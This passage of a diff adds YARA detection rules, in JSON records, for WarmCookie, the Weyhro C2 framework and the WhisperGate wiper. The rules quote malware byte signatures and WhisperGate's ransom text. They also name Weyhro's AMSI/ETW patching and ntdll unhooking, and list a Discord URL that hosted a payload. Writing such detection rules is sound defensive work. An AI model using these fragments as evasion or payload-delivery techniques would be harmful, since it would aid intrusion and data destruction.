ascii fullword\n        $a4 = \"SystemFunction036\" ascii fullword\n\n        $b5 = \"GetTempPathW\" ascii fullword\n        $b6 = \"CreateThread\" ascii fullword\n\n        $c1 = {20 83 B8 ED}\n        $c2 = \"GetVolumeInformationW\" ascii fullword\n\n        $d1 = \"\\\"%ls\\\",%ls %ls\" wide fullword\n        $d2 = \"%ls\\\\%ls \\\"%ls\\\",\" wide fullword\n\n        $e1 = \"\\\"%S\\\",%S %S\" wide fullword\n        $e2 = \"Start\" wide fullword\n        $e3 = \"rundll32.exe\" wide fullword\n\n        $f1 = \"\\\"%ls\\\",%ls %ls\" wide\n        $f2 = \"%-*.*S\" wide fullword\n        $f3 = \"f(null)\" wide fullword\n\n        $x1 = {\n            4C 89 C8                      // mov     rax, r9\n            31 D2                         // xor     edx, edx\n            42 8A 5C 09 02                // mov     bl, [rcx+r9+2]\n            49 F7 F0                      // div     r8\n            41 8A 04 13                   // mov     al, [r11+rdx]\n            01 D8                         // add     eax, ebx\n            41 01 C2                      // add     r10d, eax\n            41 0F B6 C2                   // movzx   eax, r10b\n            8A 54 01 02                   // mov     dl, [rcx+rax+2]\n            42 88 54 09 02                // mov     [rcx+r9+2], dl\n            49 FF C1                      // inc     r9\n            88 5C 01 02                   // mov     [rcx+rax+2], bl\n            49 81 F9 00 01 00 00          // cmp     r9, 100h\n        }\n\n        $x2 = {\n            42 0F B6 54 04 32             // movzx   edx, [rsp+r8+158h+var_126]\n            49 8B C0                      // mov     rax, r8\n            83 E0 03                      // and     eax, 3\n            0F B6 4C 04 20                // movzx   ecx, byte ptr [rsp+rax+158h+var_138]\n            02 CA                         // add     cl, dl\n            44 02 D1                      // add     r10b, cl\n            48 8D 4C 24 32                // lea     rcx, [rsp+158h+var_126]\n            41 0F B6 C2                   // movzx   eax, r10b\n            48 03 C8                      // add     rcx, rax\n            0F B6 01                      // movzx   eax, byte ptr [rcx]\n            42 88 44 04 32                // mov     [rsp+r8+158h+var_126], al\n            49 FF C0                      // inc     r8\n            88 11                         // mov     [rcx], dl\n            49 81 F8 00 01 00 00          // cmp     r8, 100h\n        }\n\n        $x3 = {\n                                    // loc_1800063AC:\n            48 81 7C 24 28 00 01 00 00    // cmp     [rsp+38h+var_10], 100h\n            73 1A                         // jnb     short loc_1800063D1\n            48 8B 44 24 28                // mov     rax, [rsp+38h+var_10]\n            48 8B 4C 24 40                // mov     rcx, [rsp+38h+arg_0]\n            48 03 C8                      // add     rcx, rax\n            48 8B C1                      // mov     rax, rcx\n            0F B6 4C 24 28                // movzx   ecx, byte ptr [rsp+38h+var_10]\n            88 48 02                      // mov     [rax+2], cl\n            EB CE                         // jmp     short loc_18000639F\n\n                                    // loc_1800063D1:\n            C6 44 24 20 00                // mov     [rsp+38h+var_18], 0\n            48 C7 44 24 28 00 00 00 00    // mov     [rsp+38h+var_10], 0\n            EB 0D                         // jmp     short loc_1800063EE\n\n                                    // loc_1800063E1:\n            48 8B 44 24 28                // mov     rax, [rsp+38h+var_10]\n            48 FF C0                      // inc     rax\n            48 89 44 24 28                // mov     [rsp+38h+var_10], rax\n        }\n\n    condition:\n        1 of ($x*) or\n        uint16(0) == 0x5A4D and\n        filesize < 300KB and (\n            (all of ($a*) and 1 of ($b*)) or\n            all of ($c*) and\n            (\n                all of ($d*) or\n                all of ($e*) or\n                all of ($f*)\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "warmcookie"
+  ],
+  "rule_creation_date": "2024-10-01",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.WarmCookie"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-webclient_started_tool_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566371Z",
+  "creation_date": "2026-03-23T11:46:25.566373Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566378Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/eversinc33/SharpStartWebclient\nhttps://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient"
+  ],
+  "name": "webclient_started_tool.yar",
+  "content": "import \"pe\"\n\nrule webclient_started_tool {\n    meta:\n        title = \"WebClient Started Tool\"\n        id = \"d77f197f-2253-48ee-993e-43a56dab9aec\"\n        description = \"Detects a tool used to start the WebClient service which can be leveraged in Active Directory environments for authentication-related behaviors and potential coercion techniques.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://github.com/eversinc33/SharpStartWebclient\\nhttps://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient\"\n        date = \"2025-11-19\"\n        modified = \"2025-11-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1569.002;attack.credential_access;attack.t1187\"\n        classification = \"Windows.Tool.WebClient\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // f868503c7b966530cc05e5829683589aee3c8e2e89c2980309a551c954af1b83\n        // 59374abf21295adb63c2aac85a9930e9273d4b1e9f1ada0627376591b3070821\n\n        $s1 = \"EVENT_DESCRIPTOR\" ascii fullword\n        $s2 = \"EventRegister\" ascii fullword\n        $s3 = \"EventWrite\" ascii fullword\n        $s4 = \"EventUnregister\" ascii fullword\n\n        $guid = {\n            1200            // ldloca.s  V_0\n            2084D6B622      // ldc.i4    582407812\n            2063FA0000      // ldc.i4    64099\n            2078450000      // ldc.i4    17784\n            2087000000      // ldc.i4    135\n            20C9000000      // ldc.i4    201\n            20EF000000      // ldc.i4    239\n            20FC000000      // ldc.i4    252\n            20BE000000      // ldc.i4    190\n            1F66            // ldc.i4.s  102\n            1F43            // ldc.i4.s  67\n            20C7000000      // ldc.i4    199\n        }\n\n    condition:\n        pe.imports (\"mscoree.dll\",\"_CorExeMain\") and all of them and filesize < 10KB\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "webclient_started_tool"
+  ],
+  "rule_creation_date": "2025-11-19",
+  "rule_modified_date": "2025-11-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.WebClient"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1187",
+    "attack.t1569.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-weyhro_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588660Z",
+  "creation_date": "2026-03-23T11:46:25.588663Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588668Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lumma-labs.com/weyhro-c2-because-ransomware-wasnt-paying-the-bills-anymore-b136fd7ef100"
+  ],
+  "name": "weyhro.yar",
+  "content": "import \"pe\"\n\nrule Weyhro {\n    meta:\n        title = \"Weyhro C2\"\n        id = \"76a04ced-d839-4ba8-b0c7-86e5763e1c3a\"\n        description = \"Detects Weyhro C2, a sophisticated modular command-and-control (C2) toolkit marketed on cybercrime forums by a threat actor associated with the Weyhro ransomware group.\\nThe agent provides remote shell access, SOCKS5 proxying, hidden VNC with session capture (including browser cookies and passwords), file management (upload/download), and credential extraction.\\nWhile emphasizing defense evasion through polymorphic code, AES encryption, hook removal, AMSI/ETW patching, and memory-only execution. It enables attackers to establish persistence, evade modern AV/EDR, and support full spectrum intrusion operations — from initial access through lateral movement and target engagement — on compromised networks.\\nIt is recommended to investigate the context around this alert for signs of unauthorized access, remote control activity or exfiltration.\"\n        references = \"https://lumma-labs.com/weyhro-c2-because-ransomware-wasnt-paying-the-bills-anymore-b136fd7ef100\"\n        date = \"2026-01-06\"\n        modified = \"2026-02-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.initial_access;attack.t1078;attack.execution;attack.t1059.003;attack.persistence;attack.t1543.003;attack.credential_access;attack.t1003.003;attack.lateral_movement;attack.t1021.002;attack.command_and_control;attack.t1090.002;attack.t1105;attack.defense_evasion;attack.t1562.001;attack.t1140;attack.collection;attack.exfiltration\"\n        classification = \"Windows.Framework.Weyhro\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ec4ab4e4d700c9e5fdda59eb879a2bf18d0eefd825539d64677144d43a744cee\n        // 357e649b3b03ffe0d083092c0ed870c5185d64f14f5735ae43a8343269488dc3\n\n        $stub_decrypt00 = {\n            45 31 E9                                                      // xor     r9d, r13d\n            41 C1 C1 10                                                   // rol     r9d, 10h\n            44 01 CB                                                      // add     ebx, r9d\n            31 DE                                                         // xor     esi, ebx\n            C1 C6 0C                                                      // rol     esi, 0Ch\n            41 01 F5                                                      // add     r13d, esi\n            45 31 E9                                                      // xor     r9d, r13d\n            41 C1 C1 08                                                   // rol     r9d, 8\n            44 01 CB                                                      // add     ebx, r9d\n            31 DE                                                         // xor     esi, ebx\n            C1 C6 07                                                      // rol     esi, 7\n            45 01 FC                                                      // add     r12d, r15d\n            44 31 E2                                                      // xor     edx, r12d\n            C1 C2 10                                                      // rol     edx, 10h\n            41 01 D3                                                      // add     r11d, edx\n            45 31 DF                                                      // xor     r15d, r11d\n            41 C1 C7 0C                                                   // rol     r15d, 0Ch\n            45 01 FC                                                      // add     r12d, r15d\n            44 31 E2                                                      // xor     edx, r12d\n            C1 C2 08                                                      // rol     edx, 8\n            41 01 D3                                                      // add     r11d, edx\n\n        }\n        $stub_decrypt01 = {\n            41 01 CB                                                      // add     r11d, ecx\n            45 31 DA                                                      // xor     r10d, r11d\n            41 C1 C2 0C                                                   // rol     r10d, 0Ch\n            44 01 D7                                                      // add     edi, r10d\n            31 F9                                                         // xor     ecx, edi\n            C1 C1 08                                                      // rol     ecx, 8\n            41 01 CB                                                      // add     r11d, ecx\n            45 31 DA                                                      // xor     r10d, r11d\n            41 C1 C2 07                                                   // rol     r10d, 7\n            44 01 C5                                                      // add     ebp, r8d\n            31 E8                                                         // xor     eax, ebp\n            C1 C0 10                                                      // rol     eax, 10h\n            41 01 C6                                                      // add     r14d, eax\n            45 31 F0                                                      // xor     r8d, r14d\n            41 C1 C0 0C                                                   // rol     r8d, 0Ch\n            44 01 C5                                                      // add     ebp, r8d\n            31 E8                                                         // xor     eax, ebp\n            C1 C0 08                                                      // rol     eax, 8\n            41 01 C6                                                      // add     r14d, eax\n            45 31 F0                                                      // xor     r8d, r14d\n            41 C1 C0 07                                                   // rol     r8d, 7\n            45 01 FD                                                      // add     r13d, r15d\n            44 31 E8                                                      // xor     eax, r13d\n            C1 C0 10                                                      // rol     eax, 10h\n            41 01 C3                                                      // add     r11d, eax\n            45 31 DF                                                      // xor     r15d, r11d\n            41 C1 C7 0C                                                   // rol     r15d, 0Ch\n            45 01 FD                                                      // add     r13d, r15d\n            44 31 E8                                                      // xor     eax, r13d\n            C1 C0 08                                                      // rol     eax, 8\n            41 01 C3                                                      // add     r11d, eax\n        }\n        $stub_decrypt02 = {\n            41 C1 C7 07                                                   // rol     r15d, 7\n            45 01 D4                                                      // add     r12d, r10d\n            45 31 E1                                                      // xor     r9d, r12d\n            41 C1 C1 10                                                   // rol     r9d, 10h\n            45 01 CE                                                      // add     r14d, r9d\n            45 31 F2                                                      // xor     r10d, r14d\n            41 C1 C2 0C                                                   // rol     r10d, 0Ch\n            45 01 D4                                                      // add     r12d, r10d\n            45 31 E1                                                      // xor     r9d, r12d\n            41 C1 C1 08                                                   // rol     r9d, 8\n            45 01 CE                                                      // add     r14d, r9d\n            45 31 F2                                                      // xor     r10d, r14d\n            41 C1 C2 07                                                   // rol     r10d, 7\n            44 01 C7                                                      // add     edi, r8d\n            31 FA                                                         // xor     edx, edi\n            C1 C2 10                                                      // rol     edx, 10h\n            01 D3                                                         // add     ebx, edx\n            41 31 D8                                                      // xor     r8d, ebx\n            41 C1 C0 0C                                                   // rol     r8d, 0Ch\n            44 01 C7                                                      // add     edi, r8d\n            31 FA                                                         // xor     edx, edi\n            C1 C2 08                                                      // rol     edx, 8\n            01 D3                                                         // add     ebx, edx\n            41 31 D8                                                      // xor     r8d, ebx\n            41 C1 C0 07                                                   // rol     r8d, 7\n            01 F5                                                         // add     ebp, esi\n            31 E9                                                         // xor     ecx, ebp\n            C1 C1 10                                                      // rol     ecx, 10h\n            41 01 CB                                                      // add     r11d, ecx\n            44 31 DE                                                      // xor     esi, r11d\n            C1 C6 0C                                                      // rol     esi, 0Ch\n            01 F5                                                         // add     ebp, esi\n            31 E9                                                         // xor     ecx, ebp\n            C1 C1 08                                                      // rol     ecx, 8\n            41 01 CB                                                      // add     r11d, ecx\n            44 31 DE                                                      // xor     esi, r11d\n            C1 C6 07                                                      // rol     esi, 7\n        }\n        $stub_parsePE_00 = {\n            45 8D 7E BF                                                   //  lea     r15d, [r14-41h]\n            45 89 F4                                                      //  mov     r12d, r14d\n            41 83 CC 20                                                   //  or      r12d, 20h\n            66 41 83 FF 1A                                                //  cmp     r15w, 1Ah\n            45 0F 43 E6                                                   //  cmovnb  r12d, r14d\n            44 0F B6 F5                                                   //  movzx   r14d, bpl\n            40 80 C5 BF                                                   //  add     bpl, 0BFh\n            45 89 F7                                                      //  mov     r15d, r14d\n            41 83 CF 20                                                   //  or      r15d, 20h\n            40 80 FD 1A                                                   //  cmp     bpl, 1Ah\n            45 0F 43 FE                                                   //  cmovnb  r15d, r14d\n        }\n        $stub_parsePE_01 = {\n            65 48 8B 04 25 60 00 00 00                                     // mov     rax, gs:60h\n            48 85 C0                                                       // test    rax, rax\n            0F 84 [2-4]                                                    // jz      loc_7FF71F8B6874\n            4C 8B 40 18                                                    // mov     r8, [rax+18h]\n            4D 85 C0                                                       // test    r8, r8\n            0F 84 [2-4]                                                    // jz      loc_7FF71F8B6874\n            49 83 C0 20                                                    // add     r8, 20h ; ' '\n            4C 8D 0C 12                                                    // lea     r9, [rdx+rdx]\n            31 C0                                                          // xor     eax, eax\n            4D 89 C2                                                       // mov     r10, r8\n        }\n\n        $string_debug_00 = \"[>] Remap ntdll.dll (SEC_IMAGE)\" ascii fullword\n        $string_debug_01 = \"[!] Failed to remap clean ntdll.dll\" ascii fullword\n        $string_debug_02 = \"[+] Clean ntdll.dll mapped at\" ascii fullword\n        $string_debug_03 = \"[>] Patching ETW/AMSI via dynamic syscalls\" ascii fullword\n        $string_debug_04 = \"[LOG] patch_etw: ntdll_base \" ascii fullword\n        $string_debug_05 = \"[LOG] patch_etw result:\" ascii fullword\n        $string_debug_06 = \"[!] ETW patch failed\" ascii fullword\n        $string_debug_07 = \"[+] ETW patched successfully (on-demand syscalls)\" ascii fullword\n        $string_debug_08 = \"[LOG] AMSI base found:\" ascii fullword\n        $string_debug_09 = \"[LOG] patch_amsi: amsi_base\" ascii fullword\n        $string_debug_10 = \"[LOG] patch_amsi result:\" ascii fullword\n        $string_debug_11 = \"[!] AMSI patch failed\" ascii fullword\n        $string_debug_12 = \"[+] AMSI patched successfully\" ascii fullword\n        $string_debug_13 = \"[~] AMSI patch skipped: amsi.dll not loaded\" ascii fullword\n        $string_debug_14 = \"[>] Self-unhook ntdll.dll\" ascii fullword\n        $string_debug_15 = \"[~] Inline unhook skipped (no hooks detected or no clean ntdll)\" ascii fullword\n        $string_debug_16 = \"[>] Performing inline unhook\" ascii fullword\n        $string_debug_17 = \"[!] Inline unhook failed\" ascii fullword\n        $string_debug_18 = \"[+] Inline unhook successful,\" ascii fullword\n        $string_debug_19 = \"[~] IAT unhook skipped (no hooks detected or no clean ntdll)\" ascii fullword\n        $string_debug_20 = \"[>] Performing IAT unhook\" ascii fullword\n        $string_debug_21 = \"[!] IAT unhook failed\" ascii fullword\n        $string_debug_22 = \"[+] IAT unhook successful,\" ascii fullword\n        $string_debug_23 = \"Unknown[!] IAT Hooked:\" ascii fullword\n\n    condition:\n        pe.imphash() == \"838daa497c64fed9e2aec62c82ef841d\"\n        or 1 of ($stub*)\n        or 5 of ($string*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "Weyhro"
+  ],
+  "rule_creation_date": "2026-01-06",
+  "rule_modified_date": "2026-02-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Weyhro"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.exfiltration",
+    "attack.initial_access",
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1059.003",
+    "attack.t1140",
+    "attack.t1078",
+    "attack.t1105",
+    "attack.t1543.003",
+    "attack.t1003.003",
+    "attack.t1562.001",
+    "attack.t1090.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-whispergate_stage1_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583487Z",
+  "creation_date": "2026-03-23T11:46:25.583488Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583494Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+  ],
+  "name": "whispergate_stage1.yar",
+  "content": "rule whispergate_stage1 {\n    meta:\n        title = \"WhisperGate Wiper Stage 1\"\n        id = \"828b5b4c-021c-401c-adc5-15197daf5151\"\n        description = \"Detects the first stage of the WhisperGate wiper malware used in targeted cyberattacks against Ukrainian organizations in February 2022.\\nWhisperGate is a destructive malware that initially corrupts the Master Boot Record (MBR) to display a fake ransom note, demanding payment in cryptocurrency before performing data wiping operations.\\nIt is recommended to isolate the affected system, and conduct a thorough investigation to determine the origin of the execution of the malware.\"\n        references = \"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/\"\n        date = \"2022-03-07\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.002\"\n        classification = \"Windows.Wiper.WhisperGate\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b50fb20396458aec55216cc9f5212162b3459bc769a38e050d4d8c22649888ae\n        // a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92\n\n        $s1 = \"Your hard drive has been corrupted.\" ascii\n        $s2 = \"In case you want to recover all hard drives\" ascii\n        $s3 = \"of your organization,\" ascii\n        $s4 = \"You should pay us  $10k via bitcoin wallet\" ascii\n        $s5 = \"\\\\\\\\.\\\\PhysicalDrive0\" fullword wide\n\n        $mbr = {\n            EB 00                       // jmp     short $+3\n            8C C8                       // mov     eax, cs\n            8E D8                       // mov     ds, eax\n            BE 88 7C E8 00              // mov     esi, 0E87C88h\n            00 50 FC                    // add     [eax-4], dl\n            8A 04 3C                    // mov     al, [esp+edi]\n            00 74 06 E8                 // add     [esi+eax-18h], dh\n            05 00 46 EB F4              // add     eax, 0F4EB4600h\n            EB 05                       // jmp     short loc_404041\n            B4 0E                       // mov     ah, 0Eh\n            CD 10                       // int     10h\n            C3                          // retn\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 1MB and 3 of ($s*) and $mbr\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "whispergate_stage1"
+  ],
+  "rule_creation_date": "2022-03-07",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Wiper.WhisperGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1485",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-whispergate_stage2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569183Z",
+  "creation_date": "2026-03-23T11:46:25.569185Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569190Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+  ],
+  "name": "whispergate_stage2.yar",
+  "content": "rule whispergate_stage2 {\n    meta:\n        title = \"WhisperGate Wiper Stage 2\"\n        id = \"e9d83364-b9e8-460a-9cde-f2441cf47122\"\n        description = \"Detects the first stage of the WhisperGate wiper malware used in targeted cyberattacks against Ukrainian organizations in February 2022.\\nWhisperGate is a destructive malware that initially corrupts the Master Boot Record (MBR) to display a fake ransom note, demanding payment in cryptocurrency before performing data wiping operations.\\nIt is recommended to isolate the affected system, and conduct a thorough investigation to determine the origin of the execution of the malware.\"\n        references = \"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/\"\n        date = \"2022-03-07\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.002\"\n        classification = \"Windows.Wiper.WhisperGate\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78\n\n        $s1 = \"https://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg\" fullword wide\n        $s2 = \"DxownxloxadDxatxxax\" fullword wide\n        $s3 = \"<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}\" ascii\n        $s4 = \"Ylfwdwgmpilzyaph\" fullword wide\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 1MB and 3 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "whispergate_stage2"
+  ],
+  "rule_creation_date": "2022-03-07",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Wiper.WhisperGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1485",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-whispergate_stage3_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574768Z",
+  "creation_date": "2026-03-23T11:46:25.574770Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574776Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
+  ],
+  "name": "whispergate_stage3.yar",
+  "content": "rule whispergate_stage3 {\n    meta:\n        title = \"WhisperGate Wiper Stage 3\"\n        id = \"95266e0a-a989-4b22-bbae-79635b91e774\"\n        description = \"Detects the first stage of the WhisperGate wiper malware used in targeted cyberattacks against Ukrainian organizations in February 2022.\\nWhisperGate is a destructive malware that initially corrupts the Master Boot Record (MBR) to display a fake ransom note, demanding payment in cryptocurrency before performing data wiping operations.\\nIt is recommended to isolate the affected system, and conduct a thorough investigation to determine the origin of the execution of the malware.\"\n        references = \"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/\"\n        date = \"2022-03-07\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.002\"\n        classification = \"Windows.Wiper.WhisperGate\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d\n\n        $s1 = \"Frkmlkdkdubkznbkmcf\" fullword wide\n        $s2 = \"7c8cb5598e724d34384cce7402b11f0e\" fullword wide\n\n        // Hard-coded array of .NET assembly embedded within the DLL.\n        $asm = {\n            b4 a2 9d 8c 55 f1 b9 30 17 f0\n            c0 98 e2 f3 7c c8 09 30 8f 5d\n            d5 3a 59 fc 3b f3 3e 29 4f 5e\n            ec d9 e6 2f 0d c1 f5 16 0b e1\n            5f 2d 29 46 11 16 cd 88 fd 93\n            f7 c2 c9 1a e8 65 66 d9 93 fd\n            ae 3f 1b 22 72 ba ba a5 77 d3\n            ce 49 c8 ec 7c 87 3e 